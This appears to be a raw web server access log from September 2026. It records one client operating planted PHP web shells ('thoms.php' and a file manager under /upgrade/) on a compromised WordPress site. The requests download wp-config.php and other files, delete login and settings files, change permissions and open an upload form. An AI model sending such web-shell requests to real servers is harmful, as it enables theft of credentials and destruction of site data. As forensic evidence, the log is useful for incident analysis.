45.135.193.11 - - [11/Sep/2026:22:37:58 -0400] "GET /thoms.php?dl=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 17514 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-activate.php HTTP/1.1" 200 14819 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-login.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?dl=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 17516 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13414 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?chmod=public-languages&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=public-languages&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13320 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?del=wp-login.php&p=biotaiwan.com.tw HTTP/1.1" 200 17517 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 14341 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?dl=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 17516 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11735 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?chmod=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?chmod=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw&settings=1 HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:59 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11689 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 13613 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-config-sample.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?del=readme.html&p=biotaiwan.com.tw HTTP/1.1" 200 17517 "http://163.245.207.76:443/thoms.php?del=readme.html&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?del=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 17508 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /biotaiwan.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fxmlrpc.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 11497 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /biotaiwan.com.tw/public-languages/ HTTP/1.1" 200 6442 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?chmod=cgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /biotaiwan.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /biotaiwan.com.tw/wp-login.php HTTP/1.1" 404 8494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?dl=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /thoms.php?del=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:00 -0400] "GET /biotaiwan.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-signup.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?dl=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 17500 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?chmod=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=xmlrpc.php HTTP/1.1" 200 13368 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?dl=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 17498 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /biotaiwan.com.tw/.well-known/ HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?chmod=upgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /biotaiwan.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?chmod=wp-includes&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Ffilefuns.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=mah.php HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /biotaiwan.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 8494 "https://163.245.207.76:443/biotaiwan.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?del=wp-links-opml.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:01 -0400] "GET /thoms.php?del=.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "http://163.245.207.76:443/thoms.php?del=.well-known&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /biotaiwan.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13298 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?del=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /biotaiwan.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-mail.php HTTP/1.1" 200 15352 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /cgi-bin/thoms.php HTTP/1.1" 500 107 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /cgi-bin/mah.php HTTP/1.1" 500 106 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?copy=cgi-bin%2Fthoms.php&p=cgi-bin HTTP/1.1" 200 11323 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fthoms.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?p=cgi-bin&settings=1 HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?p=cgi-bin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?chmod=thoms.php&p=cgi-bin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /cgi-bin HTTP/1.1" 301 795 "http://163.245.207.76:443/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?dl=thoms.php&p=cgi-bin HTTP/1.1" 200 12846 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "https://163.245.207.76:443/cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?p=cgi-bin&view=mah.php HTTP/1.1" 200 11810 "http://163.245.207.76:443/thoms.php?p=cgi-bin&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:02 -0400] "GET /thoms.php?dl=mah.php&p=cgi-bin HTTP/1.1" 200 12845 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /thoms.php?del=mah.php&p=cgi-bin HTTP/1.1" 200 12847 "http://163.245.207.76:443/thoms.php?del=mah.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /thoms.php?p=cgi-bin&upload= HTTP/1.1" 200 12159 "http://163.245.207.76:443/thoms.php?p=cgi-bin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /thoms.php?chmod=mah.php&p=cgi-bin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /thoms.php?copy=cgi-bin%2Fmah.php&p=cgi-bin HTTP/1.1" 200 11285 "http://163.245.207.76:443/thoms.php?copy=cgi-bin%2Fmah.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6453 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&option=folder HTTP/1.1" 200 6478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /thoms.php?p=cgi-bin&view=thoms.php HTTP/1.1" 200 11801 "http://163.245.207.76:443/thoms.php?p=cgi-bin&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fadmin.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 33552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Fpostnews.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 46599 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /thoms.php?del=thoms.php&p=cgi-bin HTTP/1.1" 200 12843 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftxets.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 47330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 28451 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2Ftermps.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 31081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6645 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:03 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F&location=%2F HTTP/1.1" 200 7850 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
